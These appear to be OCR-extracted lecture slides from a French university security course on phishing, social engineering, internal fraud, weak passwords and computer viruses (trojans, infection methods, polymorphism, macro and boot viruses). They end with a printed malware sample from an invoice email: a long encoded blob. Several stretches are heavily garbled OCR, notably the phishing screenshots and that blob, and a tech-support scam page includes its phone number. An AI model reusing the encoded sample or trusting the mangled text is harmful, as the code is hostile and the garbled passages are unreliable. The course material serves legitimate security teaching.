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* Threat panorama
— Phishing & Social Engineering
— Internal fraud
— Fraudulent access . weak password
— Digital Viruses

Enter your password to see how vulnerable it is to hackers
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Phishing & social

Internal fraud Infringement of
engeneering unauthorized access

Software Virus
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Phishing is a part of « massive attack » abusing customer or employes « naivety » to collect
personnal data like bank account or credit card numbers...

o Receiving an email using the logo and
corporate colors

cxe

Avisez volre service en ligne, a é1é temporairement suspendu en raison de tentatives
infructueuses pour accéder a votre compte en ligne

UNE RELATION DURASLE, CA CHANGE LA WIE

9 |t WaS aSked to make an update Compte tenu d'accidents) B P p p

. . motre banque 3 introduit | Par mesure de sécurite, nous a_-.fcns_ acidé de dsa\clwer tafﬂpsranremen: voire compte, cet
Concernlng personnal data Or to Confl rm a S SRRl ineident mal que e tente d'accéder & volre compte & partir d'une aulre adresse IP. car le

password

systéme utilisé par les foumisseurs de services Intemet

r du lien ci-dessous et

H %‘RIFIED MasterCard

— by VISA
Cher client de SOCIETE GENERALE pendu de

€) Connection on a fake website same as W oy i

Le departement technique de Sociéte G4 fom, Rour

de s ous protéger contre
vetre carte bancaire, Verifed By Wisa a adopté |3

the COI’pO I'ate ta rg eted bUt COﬂtrO| Ied by praogrammeée de fagon a améliorer la qua N"Ena(gs ve 'i;:,gédtcéidite =st corfimé seraprotéaé Contre fas

Mous vous demandons avec bienveillanc]

haCkeI’ confirmer vos détails bancaires Nom Prénom * :

http:/woww societegenerale.fi/customercaie’h)  pate de Naissance * ;_Juur_ViMUis_viAnée_vi

@) The hacker collects credentials/password o 08 s s ot s I
(or every sensitive data) given by the i e i -

Date d°expiration * : (01 /03 V

customer victim Lt —
Walider

Werifed by visa vous garanti Un paisment sécurisé par la
technologie de cryptage SSL. En savoir plus

Noma De jeune filla de votre mére?* :|

_V'EWSA
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Social Engineering is a kind of « targeted attack » abusing customer or employes
« naivety » to :

« Steal directly confidentials data or
* Install malware on the bank IT

By social
network

By phone

By e-mail

Social engineering scenarios are unlimited, only limited by attackers
imagination or victims naivety ...
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Phishing example targeting a great french company

.06 Problémes concernant votre compte orange et carte de credit. =
= ey
| 4 n & [ = ] .-
. |4 B @ LT i (e =
Relever Ecrire  Adresses Déchiffrer Répondre Rép. a tous Transférer Etiquette Supprimer  Indésirable  Imprimer

_ N'est pas frauduleux |

Thunderbird pense gue ce message est peut-étre frauduleux.

i . Problémes concernant votre compte orange et carte de credit.
De : Orange France <support@orange.fr> v
Réponse a : suppori@orange.frv
Date : 7110/09 5:29
ir o wol@ella.univ-paris-diderotfr »

jorange
Cher(e) client(e) :

:-uuc la vérlﬁcatlon de vutre compte orange ainsi que votre carte de crédit =, nous avons constaté une erreur critique.
g Ot possible en cliquant sur le lien 5u1vam

Nous nous excu UeTapE CITIeT.
Veuillez noter que vous dispg#cz de 24 heures pour corriger les erreurs, une fois le délais dépassé,
nous serons dans l'obligeg

fice de suspendre votre compte.

Service Orange @
Tous droits reseryes.

This link directing on a fake website and not on the
official company server
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Apple inform that:

— Its services iCloud or FindMyPhone
weren’t compromised

— iCloud stars account concerned were
compromised with targeted attacks on :
* User account
» Password

Al
[ ]

~ Apple: don’t Blame iCloud
for celebrity hacking

wsj.com/theshortanswer ¢ Security queStionS
@jason bellini J .
¥ + Before an account was locked it was
Actors, singers or famous persons intimate pictures stored possible to test too much passwords.
on Apple iCloud were published online. .
Celebrities were Jennifer Lawrence, Kate Upton, Rihanna, - AHOW'ng brute force attacks

Kim Kadarshian, Selena Gomez and many others.

* It seems that the attack was a « social
engineering » one.

— A way to know secrets questions
answers.

http://www.wsj.com/articles/apple-celebrity-accounts-compromised-by-very-targeted-attack-1409683803 7
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Internal fraud is a « taboo topic » for companies, but it's a real
important topic !

— Fraudsters categories Vulnérabilities Fraud types
. Occasional fraudster . Weak internal control . Misappropriation of
. Reccuring fraudster (small procedures and operations customers assets
amounts but regularly) monitoring . Misappropriation of
. Person who is hired to . Permissive IT management comapny assets
make a fraud authorization . Fake operations
. Group fraud . Lack of segregation in

. Fake objectives to increase

tasks and rotation remuneration

‘‘ ETT—————"T




UCA Infringement of unauthorized
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If passwords are to easy or weak ( for example without special caracters like « ! » or
« _ » and numbers) they allow — among other — hackers to lead following actions :

*Using automatic scripts to test a login with all well known password (dictionnary) ;
*Using tools to « break » the password. Those tools are really efficients in case of weak

sswords, but less if passwords are long and complex.

Thinking about passwords use : passwords are a significant weakness in cybersecurity.
Indeed, humans don’t have the capability to remember a lot of passwords, complex,
different for each application, etc.

That’s why, others way of authentication appear to release humans from passwords
problems. Some examples : biometrics, USB token, paper matrices, verification code by
SMS, one time password , etc.
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Computer intrusions are “targeted attacks” exploiting one or more technicals vulnerabilities to steal
confidential information (ex. : passwords, credit card...) or to take control of servers or computers

From Internet network on exposed ressources : web sites, e-shopping service, remote access services, e-mail
service, etc.

From internal network on the Active Directory or internals sensitives applications

Some results from penetration tests on companies IT

go(yo Active Directory domains are compromised
in 2 hours

750/0 Active Directory domains have at least 1 priviliged
account with a weak password

500/0 Of companies are affected by a misconfigured network
partition

800/ Of penetration tests are not detected by IT security
0 teams

Sources : tests d’intrusion Orange Consulting 2012-2013

Active Directory : is a directory system under Windows listing network ressources, sites, computers, users.
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* Viruses and malwares
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e e 3.1. Introduction

* virology, based on artificial intelligence
(mathematics + computer science)

* Anti-virus = non perfect product

 What is a virus? A program able to
reproduce itself and to be propagated
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* Turing Machine
— Abstract and general representation of a computer
and programs likely to be carried out on this computer

— Objective of these theoretical aspects: is a function F
calculable? (in other words can we find an algorithm
able to calculate it)

— Concerning viruses, the question will be “is the
function F (= self-reproduction) calculable?”

e Researches from Von Neumann

— Cellular automats => proved that we could conceive
self-reproductive programs
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First known viruses: 1970

In fact, American Defense (Arpanet)/MIT worked before
(offensive and defensive code)

Xerox Worm (1981)

Elk Cloner Virus on DOS 3.3 (1983)

Brain boot Virus (at the beginning of 80s)

Thesis (Ph.D.) of Fred Cohen (univ. from Southern-
California, 1986) defines the term and the concept of

virus (defined by Cohen & Adleman, 1986)

— “Avirus is a sequence of symbols which, interpreted
in a given environment (adequate), modifies other

sequences of symbols in this environment, so as to
include a copy of itself there, this copy having
possibly evolved/moved”

14
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« 1999, CIH V|rus (known as Chernobyl), obliged
thousa “fral card of
their co T —— BIOS card

¢ 1999, IL e o) 00.000
infected E— QU

« 2002, S g ﬁ'OUf'f -5.000
servers OVEYOL |

« 2003, W32/Sobig. F worm, + of 100.000.000
users
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* |n 2014, ~ 300 000 new viruses are
created every day

e ~ 95 % of those new viruses are detected
by antivirus software

* On the 5% remaining, 4% have a structure
close to previous viruses

* 1% are totally new and won't be detected.
Close to 3000 !!
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UG/A\ 3.1 Classification of the infections

Université

Grenoble Alpes (maIWare)
Infections
-| Simple programs Self-reproductive
programs
Logic bombs Trojan horses Virus Worms
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* The purpose of these programs is simply to
settle in the system:

— Resident mode : active process in memory in a
permanent way in order to be able to act as long as
the system functions

— Furtive mode: the user should not realize that such a
program, resident, is present in its system (invisible
with ps —aux in Unix or in the task manager of
Windows)

— Persistent mode: infecting program able to reinstall
itself after removal or de-installation (for example by
means of keys added in the register base)
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» Def.: simple infecting program, settling in the system and
which awaits an event (particular date, action, data)
called in general “trigger”, to carry out its offensive
function

— Ex: CIH 1.2 starts each 26 April

— Ex: an administrator had established a program checking the
presence of his name in the registers of payroll of his company.
In the event of absence of this name (what means that the
administrator was returned), the program encrypted all the hard

disks...
« The anti-viruses have difficulties to detect logic bombs
(before the update of the signature, in which case
detection is systematic)
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<t 3.2 Trojan horses

Simcity
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* Def.: a Trojan is a simple program,
composed of two parts, the server module
and the client module. The server module,
installed in the computer of the victim,
gives discreetly to the attacker access to
whole or part of its resources, which lays
out about it via the network (in general)
thanks to a client module (he is the “client
of the “services” delivered unconsciously
by the victim)

”
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 The server module is dissimulated in an attractive program. The
running of this program installs without the knowledge of the victim
the server part of the Trojan

* The client module, once installed on the machine of the attacker,
seeks on the network (order ping) the machines infected by the
server module (IP addresses and TCP or UDP port )

— Takeover allowing to carry out a more or less large number of offensive
actions
» Restarting the computer

File transfer

Execution of code

Destruction of data

Listen to keyboard

— Ex: Back Orifice, Netbus, SubSeven

» To protect ourselves from trojan horses: firewall and antivirus (it is
always possible to program a Trojan being able to pass through
these protection tools...)
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Port Protocol Trojan
1024 TCP NetSpy
1243 TCP SubSeven
1999 TCP Backdoor
6711 TCP SubSeven
6712 TCP SubSeven
6713 TCP SubSeven
6776 TCP SubSeven
12345 TCP Netbus
12346 TCP Netbus
12456 TCP Netbus
20034 TCP Netbus 2 Pro
31337 UDP Back Orifice
54320 UDP Back Orifice
54320 TCP Back Orifice 2000
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Grenoble Alpes program (virus or worms)

 General structure

— research routine of target programs
« check that the target can be executed

» check that the target is not already infected (often the viruses have
a signature => this one is also detected by the anti-virus ones)

— copy routine
« copy in the target a copy of its own code

— anti-detection routine
 To be hidden from the anti-virus to ensure the survival of the virus

— possibly a final load (possibly destructive), coupled or not with a
differed trigger

» Difference between self-reproductive programs...
— code duplication

 ...and simple infection
— no duplication
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* |nfection phase

— Passive

» Dropper (program carrying a virus) copied from a support (CD,
remote loading, forum) and transmitted

— Virus_1099 transmitted via pre-formatted virgin diskettes
— Warrier diffused via a downloadable Packman game

— CIH Virus in an official Yamaha driver or for IBM/Aptiva computers
(1999)

— “concept” diffused on CD Microsoft
— Active
« The user activates the “dropper” (without knowing it!)

* |ncubation phase

— To ensure the survival of the virus (exception: spy viruses which
limit their stay in the environment attacked, by disinfecting
themselves after their finished their attack)

» To limit its detection by the user
« To limit its detection by the anti-virus

Cours de Sécurité LPRO RT — Grenoble — CB — Chapitre M33-3 « Virus » - 2020-2021 25
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« Disease phase: the final load will be activated

— At the head of the code: final load carried out before
any infection

— At the end of the code: final load carried out after the
process of infection

— In the middle of the code: if conditioned by the
success or not of the infection

— Differed release, ex: logic bomb
» Date system (virus “Friday 13", CIH)

» Type particular sequences (112 times “Ctrl+Alt+Del”)

* A number of openings of a Word document (virus “Colors”
after 300 openings of documents)
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* Phase of disease

Charge of non-lethal nature
« Posting images or animations
« Sounds

— Lethal loads
« Attack the data confidentiality

* Integrity of the system or the data
— Formatting hard disk
— Destruction, random modification of the data

— Availability of the system (random restarting, saturation, simulation of breakdowns
of peripherals)

— Incrimination of the users (introduction of compromising data, use of the system
with punishable or criminal purposes)
— hardware Destruction
* Theoretically impossible but

» Possible Destruction of physically stored software (stored in hard)) (ex:
BIOS => hardware attacks simulated)

» Destruction of hard disks or other hardware elements by “accelerated wear”
=> program requesting these resources considerably, for example
— Often undetectable by the anti-virus
— “Spectacular’ consequences of their action non visible => seen as a “random”
breakdown of components
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 Virus run via an infected program

* Infection of targets identified by the routine of
research by replacing their executable code with

Its own code

* Three possibilities of infection
— Virus replaces the initial part of the code of the target:

specific heading of the executable file

« EXE header of files EXE 16 bits
 Portable Executable header of 32-bits Windows binaries

* ELF heading of the Linux format

In this case the infected program is destroyed and
does not run any more
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« Exploitation of the PE format for Windows
executable files (since Windows 95): this
heading allows, during the projection of
the code in memory:

- To give adequate information for the
installation in memory (establishment of an
Image memory)

- To allow the optimal pooling for several
processes of EXE and DLL files
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* The least known mode but which currently represents
the largest challenge as regards antiviral fight

« The target code is not modified (integrity is preserved)

« The viral code identifies a target and duplicates its code,
not while inserting it in the target code but by creating an
additional file (in a possibly different directory) which “will
accompany” the target (virus companion)

« When one wants to run the target program infected
according to this mode, the viral copy contained in this
file runs very first, then the legitimate target program is
carried out
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» Mechanisms allowing the viral copy to be launched out firstly

- Pre-emptive or hierarchical Execution (uses a characteristic of the operating
system which treats on a hierarchical basis the execution of binary)

« Exfor DOS: the .COM are carried out before the .EXE which are carried out before

the .BAT

- Ex:ifthe target is a file FILE . EXE, one will carry out the infection by creating a file
FILE.COM which will be launched in its place

« For Windows: use of transparent icons, naturally invisible extensions of the executable
type
- Hierarchy of the ways of research of the executable files

« E.g. virus of the type PATH under Linux: the executable files located in PATH directory
are carried out before the others. It is enough to create a copy of a file to be infected in

PATH directory with the same name => it will be carried out first
» Modification of the FAT (Files Allocation Table) under DOS/Windows

- Renaming of executable file

« Technique identical to the preceding ones and allowing to re-name the clean copy while
the virus takes the name of the file to be carried out
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* Viruses detectable with more difficulty

* Modification of the source code implies the
modification of the signature (with MDJ5) if
the source had been signed

- But possibility of re-calculate a new digital
print (hash) for the virused source if the
original print was not signed

* WWW.IOCCC.O0rg

 N.B.: the infection can be the fact of the
compiler...
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* Furtivity
— Group of techniques aiming at deluding the user, the
system and protection software in order to make
believe in the absence of destructive code
« Dissimulation in hidden hard disk sectors
— Sectors declared wrongfully defective
— Zones not used by the operating system
» Deception (leurrage) of particular structures
— FAT (Files Allocation Table)
» Deception of functions or software resources of the system
— Diversion of interruptions, of APl Windows

 Virus which is disinfected completely or partially after action
of the final load, thus decreasing the risk of detection
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* Polymorphism (several forms)

— N.B.: The anti-viruses often function on detection,
search for viral signatures

— The goal of polymorphism is to vary, of copy in viral
copy, any fixed element being able to be exploited by
the antivirus to identify the virus (set of instructions, in
particular character strings)

— Techniques of polymorphism

* Rewriting of the code by use of equivalent code (ex following
slide)

» Use of techniques of basic coding on whole or part of the
virus or the worm

— It is a question of varying coding with each infection so that the
signature of the virus is each time different
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3.3 Capacities of the viruses to fight
and destroy the protections installation

« Example in assembly language

loc 401010:

loc 401010:

cmp

ecx, 0

Jjz short loc 40101C

sub
inc
dec

Jjmp

byte ptr [eax],
eax

ecx

short loc 401010

30h

cmp ecx, 0
Jz short loc 40101C

add byte ptr [eax], <random
value>

sub byte ptr [eax], 30h

sub byte ptr [eax], <same
random value>

inc eax

or eax, eax

dec ecx

add ecx,0

jmp short loc 401010
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g WOoIrms
* Nomenclatures of virus according to various
criteria

— Format: virus for executable files or documents
— Target body: virus for boot sector, peripherals drivers

— Programming language: assembler, source code,
interpreted language

— Behavior: armoured viruses, slow or fast viruses,
retroviruses, resident viruses, polymorphic or furtive
viruses

— Nature of the final load: spies viruses, destroying
viruses

— Operating mode: binary viruses, psychological viruses
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starting
general

e Take In
formats
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- Files,
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! i | ! |
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drivers)

- ELF format Files in Unix
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« Def: virus code contained in a file, non-
executable, activated by the interpreter
contained in a native way in the application
associated with the format of this file. This code

IS activated:

— by a functionality envisaged in the application (the
most frequent case)

— As a consequence of an internal failure in the
application
« Shown in a theoretical way in 1984 by Cohen
and Adleman

« Appeared in 1995 (“concept” macro-virus on
Microsoft tools )
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Caution
with

Office suite
very
widespread
and so very
vulnerable!

ypes of files being able to

contaln documents viruses

Format

Extensions

Scripts WSH

VBS, JS, VBE, JSE, WSF, WSH

Word

DOC, DOT, WBK, DOCHTML

Excel

XLS, XL?, SLK, XLSHTML

Powerpoint

PPT, POT, PPS, PPA, PWZ, PPTHTML, POTHTML

Access MDB, MD?, MA?, MDBHTML
RTF RTF

Shell Scrap SHS

HTML HTML, HTM, ...

XHTML XHTML, XHT

XML XML, XSL

MHTML MHT, MHTML

Adobe Acrobat PDF

Postscript PS, EPS, ...

Tex/Latex TEX
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* Opening of an infected document, the viral code
IS copied in the basic "model” file (ex: normal.dot
in Word)

« Language used: Visual Basic for Applications
(.VBA), native in the applications of the Office
suite, makes it possible to develop procedures
called macro, allows:

— to combine commands in only one

— to create new commands or to modify them

— to automate repetitive actions

— to make interact the various Office applications

— to create personalized interfaces
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UG/A\ 3.3 Example of "macro” virus

Université

Grenoble Alpes | N Ofﬂ Ce-VVO rd

* Macros with automatic execution
— AutoExec (this macro can be infected)

« Self-macros started at the time of certain events
— AutoNew (creation of a new document)
— AutoOpen (Opening of a document)
— AutoClose (closing of a document)
— AutoExit (closing of Word)

e usurping Macros

— Take the name of an already defined Word
command...
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UG/A\ 3.3 Virus of starting

Grenoble Alpes L _ _
» Use the parts specifically intended to start the operating
system
— BIOS (Basic Input/Output System)
« The BIOS is often in fact in readable accessible chips

* Avirus in BIOS =
— Non detected by the antivirus (because launched before him)

— Possibility of going anywhere on the disk because the authentication
procedures are not operational yet

— The Master Boot Record (MBR)

» This sector is the first sector 2512 bits) (head 0, track 0, sector 1), it
is in charge to launch one of the available operating systems

* Avirus in MBR = 1 sector of viral boot
— Functionalities of a non virused program

+ infection of other sectors of starting, other hard disks...

+ very limited functionalities

— Possibility of storing the final load of the virus (because of the limited
size) in additional sectors, either dissimulated or enciphered

— Secondary sectors of starting (sectors of starter)
* |ldem
— Ex: Brain and Stealth virus
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UG/A\ 3.3 Behavioral viruses

Grenoble Alpes

* Viruses which are characterized by their specific behavior: to delude
the antiviruses, or to strongly oppose them
* resident Viruses
— Remain in memory once carried out, use interruptions and APlIs
— In DOS, 21H or 27H interruptions software

— In Linux, need to launch a demon, which requires particular rights, it is
thus much more difficult to implement a virus in a Linux system

« Binary viruses (combined viruses, virus with appointment) => very
rare

— Associations of two viruses V, and V, (the first activates the second, ex:
Ymun and Perrun) or the two V|ruses work as a par

* Armored viruses

— The study of this type of virus by de-assembling or execution in step by
step mode is very complex, even quasi-impossible
 lure Code
« Dynamic enciphering/deciphering
 Ex: Whale, telefonica, Linux.RST viruses
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° G semitag - Recherche Google

® alerte-8527.win/exception

3.3 Other types of virus

*** Erreur de sécurité 0x01 X+ - a X iS a

El €@ | Q Rechercher wBe & & 0O

B Les plus visités == Intraship 7.1 @ Erreur de chargement ... @ Carte de voeux électro.. @ Page de démarrage de.. @ Débuter avec Firefox || Importé depuis Intem... @ Service d'authentificat.. & Saisie planning Ecran

*** ERREUR # DWEVB26. **

Nous vous prions de nous appeler immédiatement au: 09 70 73 3 52

Ne pas ignorer cefte alerte criique.

Si vous fermez cette page, votre accés a lordinateur sera désactivé pour éviter d'autres dommages a notre réseau.Notre ordinateur nous a alerté quil A été infecté
par un virus et un spyware. Les informations suivantes sontvolées ...

Facebook Login

détails de carte de crédit

compte e-mail de connexion

Photos stockées sur cet ordinateur.

Vous dever nous contacter immédiatement afin que nas ingénieurs peuvent vous quider & fravers le processus de suppression par téléphone. Veuillez nous
appeler dans les 5 prochaines minutes pour éviter que votre ordinateur ne soit désactivé

Téléphone: 09 70 73 63 52
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wiversie © - Malicious code example

 Context:
— E-mail with an invoice as attachment
— Attachment: a .zip file

Cours de Sécurité LPRO RT — Grenoble — CB — Chapitre M33-3 « Virus » - 2020-2021
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r yyy = ("TUOARMARAAEAAAA-BAALYARARAAARADAAAARAARAARARARAAARAAARAARAAAAAARAARARARAARAAAAYARRAA4T ugdAtANN IThyBTHAhUGhpcyBucmIncmFt IGNhbmSUdCB i
Z3ByduMdgaldgREITI61vZGUUDOBKIARRARARAABOROAATAEDAK jMAUkARARARAARADARAGELADYARKWDARAEARAAAAAAZ S SDARAYARARRAAARABAARAGARARAYARBARARARAARAEAARAAAAA
ARAYBAARARYARARAAAA [AD IUAABARABARARAAEARAEARARAAAABARAARAAARAARAAAAH TLAWBXARAARDADABARAARAAAARARRAAARAARARARARAARAAEAAWAARRRAARAARARARAARAARARAAAAA
ARARARAARARAARAARARRAAARARRARARAARARAAAA I ARACAAARARRAARAARARACCARAEYARARAARAARARAARCSBZXhBAAAA 1K s DARAYARAArAMARA IARAAARARRAAARAARARCARAGAUCTINY YWAA
ABARAAAA4AMAAA TARACUAWIARARAAAARAAAAAABAAABALNT 1 GO JARAMAARAARAEAAACAARAS AMARARAAAARRARARAAADARADARARAARAAARAAAAAAAAACWYLMARARAAREYAARACAAUANCYD)
AEC 1AAADAAAAMYAABhDBAAAY By IARARAARARAARAARAARAAARAARAARAAARAAAAAAARAAARAAAAARARAAAYYAAAGKY AAB i nARAYARAGKYAAB i 0ARAYYAAAGKYAAB i oARAYARAGKYAAB i oAl
ARYGARAGKYAAB i 0AABsWCADCADARAGAAEX 1BAABWHgNBAAAARMEEQQUHCgMARHC i EQQXcgcAAHC i ENDYeysARHC i EQOZecgBAAHC i EQRachMAAHC i EQObcheARHC i EQQcchsAAHC iEQDAchBA
AHC iEQQechMAnHC iEQQS CX1 jAfiBuohEEHWpyJuwhificK IRBBSLchMARHC iEQQE DH I rAfiBwohEEHWIyDwhinicK IRBBBOC i 8ARHC i EQQS D3 IzAfBuwohEEHxByNwhfcK IRBBSRchsARHC IEQRE En 17|
AnBuwohEEH=NyCwhificK IRBB8UcysAnHC i EQDF FX1 TAABwohEEH=ZyFuificK IRBB8Xc jBARHC i EQQF GH InAnBwohEEHx 1yBuhnic KIRBCyBAAAKKA INANoKBmBDAAAKCwe TBRYTE jiLAANAEQUR
poMCGBEARAKcyEAfHAA jOQAAAETBXEHFnJDAABWhEHF 3 IzAABwohEHGHIHAABWohEHGXILAABWohEHKAEAAADDBOAAC iwbCAhvBgARCHIPAABWG I8BAAABEWGRCBC X JREARAETCREJFgR i
20miEQgo IwiiBhQoBwhfiCy 3eF i beABEGF 1g TRhEGEQWOa Ty~~~ ~FCoJKgAnARARAAAACWE 3qg EDADAARD YgARAGKY AAB i oARA Yy ARAGKGAAB ioARBswCACUAAARAYAAEDJVBgARCHoGhuwMA
AROLBMEFhMFK3MREBEF mywI bulAffpyXlAncCyFARRKLFU I CGEGARAKckBARHAY JOEAAARETBhEGFyK i EQ'YXGYBBAAABEWCRBxYDohEHF xaMBuwfififia IRBxyD jmmMBufififia IRB6 IRE ig jARAG
[FCyHAAAKDA 4 TJ t4AEQUXWBMFEQURB ISpMoUUKg kqAAARARARAARALYBSgARDANAAADYgARAGKYAAB i 0AAA Yy ARRGRGAAB 1 oARBMWCAAVAARRAWAREL IChuYAnApy TwAACE iNADARRDOGF xeN
ARRAAGsHF gD 1 B6 IGKCMARAYUKAGRARDGAAY(ARAGKYAAB L 0ARAYAARTMAMAGHARAADAABEY jONARAREKBhZYhNAARCK IGF IKNAABWog Y ARAAR 1 0ARAYYAAAGKAAB i 0AAAYARRGKYAAR i DA
ARYGARAGKYAAB i 0ARAYIAAAGKIARGZAGAGWHARAF ARARAMSGARAKCY ZuALwAAC sHEWQWEWIr ShEEEQWaDAhuBAARACHK jAABwKAUAAADSLAY IhwYAAApy TwAAc i NAQAARARMGEQYWAG IRBig j
ARAGF CgHARAKDA4 T t 4AEQUXWBMFEQURB ISpMg4UKg kg ARAARARALgApUWADARARAD Yy ARABMAYARYEARAYARBE YKDMARAYX jOOAAAETDBEMF nLDAABWohEMCnLpAABWAA IAAA IoCOAACMBK)
ARAKCWsARADLES I tABwbLaAAApBALAAGLHC mEBAHBUDAAACHBAAABDRaNDAAAARMEF hMFKz4HBhEFmmBMAAAKAAEAABS TBh 1EEQS0aREG jm1YKAEAACSRBhYRBBEE jmkRBoSpLWREG jmkol
[DyARCHhEFF 1g TBREFBoSpMrty juEAcCCARAKKABAAAOTB<EHCcukBAHAeF48BAAABEWARDRY [ohENKBAAAAOMEQdyBOEAcB4X JOEAAAETDhEOFgmiEQ40EARAC i YRBygwhAAGEWGRCBEEKBCA
ARZBANAAGMEENDoEARABhMIED 1ySwEAC Byl jOEAAAECEAAAChMKEQoCKB4AAAbe ERMLEQt VEQAAC i g SAARAKI t4AKg ARDRWAAAAAARAARAAANAEAADN BAAARAAAACHAAARSWCACANAABWAA
[EX IBAABWHxeNBAAAADBJFn I DAABwogkXcycARHC i CRhyCuhAcK 1JGX IPAABwogkachMARHC i CRtyFuhAck IJHH IbAABwogkdcgBCAHC i CRSYER IACK IJHWIYFQ IAcK I JHwpyEWwAACK 1JHwty
RuificK ITHuwySwhnic K [JHwiyLwhnick IJHWSyNwhAcK TTHWIYGR IncK IJH=ByGuinicK IJH<FyDQ IAcK IJH<JYEQ IAcK IJHxNyFQ IAcK ITH<RYEWwAncK I JHxUyRwhificK LTH=<ZySwinc K IJKAEN)
NnoongNNCyoGhutANoLB-MEFhMFOJkAANARBBEF mgw I bdAnApunQndcBuNBAANARMGER Y gMANHC i EQYXe i cAnHC i EQYYehMANHC i EQYZchMAAHC i EDYachBCAHC i EQYonQAnC igFAANK
LD ICGEGAAAKckBAAHAY JQEARAETBXEHF xeNAQAAARMI EQglkiowHARABohE IohEHKCHARAYUKACAARom3gMm3gARBRAYEWURBREE jmk~XP~ - uoAnAEQAAARAELUBP 1 EBAWEAAREGKgAAB ioA
ANYAARGKgAAB ioAnAYghnfen igTANAKKY YgAANGKgAAB L offAYyANAGKgAAB ionAnYyAnAGKgAAB i onAnYgAnAGKgAAB ioAnnYgAnAGKgAAB 1oAnnYgARAGKYAAB ioANAYARAGKgAAB ion
ANYYAARGKYAAB L oARAYYAAAGKGAAB ioARAYgAANGKYAAB LoARAYYANAGKYAAB ionAAAYyANAGKYAAB L onAA YgARAGKgAAB inAAnYgANAGKgAAB ioAnAYgAARGKYAAB i oARAYgARRGKYAAB ioA|
ANYgAARGKgAnHg ToEwnnC i oGRgAAB ioARnYgAARGKYAAB LoARAYANAGKgAAB ionAnYyANAGKgAAB L onAn YgARAGKgAAB inAnYgANAGKgAAB ioAnnYgAARGKYAAB i oARAYgARAGKYAAB ioA|
ARYYAAAGKGAAE 1 0ARAYYAAAGKYARB 10ARAYYARAGKYAAB LoARAYYAARGKYAARB 10AAAYyARAGKYAAB 1 onAAYYARAGKYAAB inARAYyARARGKGAAB 1oARAYYARAGKYAAB i oARAYYARRGKYAAE i oAl
AB4CKBMARADGE 1 0ARAYGAAAGKYAAB i 0ARAYAAAGKGAAB i 0ARAYYARAGKYAAB i 0AAAYYARAGKYAAB i 0ARAYYARAGKYAAB i 0ARAYARAGKYAAB i 0ARAYYAAAGKYAAB i 0ARAYARAGKGAAE i oA
ARYAAAGKGAAB 1 0ARAYGAAAGKYAAB i 0AAAYAAAGKGAAB i 0ARAYYARAGKYAAB i nAAAYYARAGKYAAB i oAAAYYARAGKYAAB i nARAYARAGKYAAB i 0AAAYYAAAGKYAAB i 0ARAYYAARER i g TAAAK
[KgYyARAGKgAAB i 0AAAYgARAGKYAAB i0ARAYYAAAGKYAAB i 0AAAYYARAGKYAAB i 0AAAYYARAGKYAAB i 0ARAYARAGKGAAB i 0ARAYYAARGKYAAB ioARAYYARAGKYAAB i 0ARAYYARAGKYAAB i oA
ARYGAAAGKGAAB 1 0ARAYGAAAGKYAAB i0ARAYAAAGKYAAB i 0ARAYYARRGKYAAB i 0AAAYYARAGKYAAB i oAAAYYARAGKYAAB i nAAAYYARAGKYAAB i oARAYYAAAGKYARHY 10EWAAC i0GKgAAB i oA
ARYAAAGKGAAB 1 0ARAYGAAAGKYAAB i0AAAY AAAGKYAAB i 0ARAYYAAAGKYAAB i 0AAAYYARAGKYAAB i oAAAYYARAGKYAAB i nARAYYARAGKYAAB i oAAAYYAAAGKYAAB i oARAYYARRGKGAAB i oA
ARYYAAAGKGAAB 1 0ARAYGAAAGKYAAB i0AAAY AAAGKYAAB i oARAYYARAGKYAAB i 0AAAYYARAGKYAAB i oAAAYYARAGKY AAB i nARAYARAGKYAAB i0AAB4CKBMAAADY B i oARAYYARAGKGAAB i oA
ARYYAAAGKGAAB 1 0ARAYGAAAGKYAAB i0AAAY AAAGKYAAB i oARAYYARAGKYAAB i 0AAAYYARAGKYAAB i oAAAYYARAGKYAAB i nARAYYARAGKYAAB i 0AAAYYAAAGKYAAB i oARAYYARARGKGAAB i oA
NNYgAANGKGNNE 1oAnAYgANAGKgNAB ioNNNYgNANGKEgANB LontnYyANNGRgNAB ioNNnYynnnGKgANB i ondnYgAnnGRgANB ionnnYynnhen ig TAANKKg YgANRGRgANAB i oANNYgNNnGKgNAB ion
NNYgAANGKGNNE 1oAnAYgANAGKgNAB ioNNNYgNANGKgANB LontnYyAnnGRgNAB ioNNnYynnnGKgANB i ondnYgAnnGRgANB ionnn Yy AnAGKgHnB iondnYgANnGRgANAB ioANNYgNNnGKgNAB ion
ANYgAAARGKGAAB 1 oARAYEAAAGKGAAB ioARAYgAANGKGAAB LoAfAYYANAGKYAAB ionAnYyAnAGKgAAB i onAnYghnnGKgAnHY [oEWwAAC i 0GEgAAB ioAnnYgARRGKYAAB ioARAYgARAGKgAAB iof
ANYAARGKYAAB L oARAYYAAAGKGAAB ioARAYgAANGKEYAAB LoARAYYARAGKYAAB ionAAAYyANAGKgAAB L onARYgARAGKgAAB inAAnYgANAGKgAAB ioAnAYgAARGKYAAB i oANAYgARAGKYAAB ioA|
ANYAAAGKYAAB 1 0ARAYYAAAGKGAAB ioARAYgAANGKYAAB LoARAYYANAGKYAAB ionAnYyAnAGKgAAB i onAB4CKBMANAogGB i oA YgANAGKgAAB ioAnAYgAARGKYAAB ioARAYgARRGKYAAB ioA|
ARYYAAAGKYAAE 1 0ARAYGAAAGKYARB 10ARAY ARAGKYAAB LoARAYYAARGKYAARB 10AAAYyARAGKYAAB 1 onAAYYARAGKYAAB inARAYyARARGKGAAB 1oARAYYARAGKYAAB i oARAYYARRGKYAAB ioAl
ARYGARAGKGAAB 1 0ARAYGAAAGKYAAB i 0ARAYAAAGKGAAB i 0ARAYYARAGKYAAB i nAAAY AAREA i g TAAAKKY YgARAGKYAAB i nARAYARAGKYAAB i 0ARAYIAARAGKYAAB i ARAYARAGKGAAR i oA
ARYAAAGKGAAB 1 0ARAYGAAAGKYAAB i 0ARAYAAAGKGAAB i 0ARAYYARAGKYAAB i nAAAYYARAGKYAAB i oAAAYYARAGKYAAB i nARAYARAGKYAAB i 0ARAYYAAAGKYAAB i 0ARAYARAGKGAAE i oA
ARYAAAGKGAAB 1 0ARAYGAAAGKYAAB i0ARAYAAAGKYAAB i 0ARAYYARAGKgAAHY IoEWwAAC i 0GKgAAB i oAAAYYARAGKYAAB i nARAYYARAGKYAAB i 0ARAYYAAAGKYAAB i 0ARAYYARAGKGAAB i oA
ARYAAAGKGAAB 1 0ARAYGAAAGKYAAB i0ARAYAAAGKYAAB i 0ARAYYARAGKYAAB i 0AAAYYARAGKYAAB i oAAAYYARAGKYAAB i nAAAYYARAGKYAAB i 0ARAYYAAAGKYAAB i oARAYYARAGKGAAB i oA
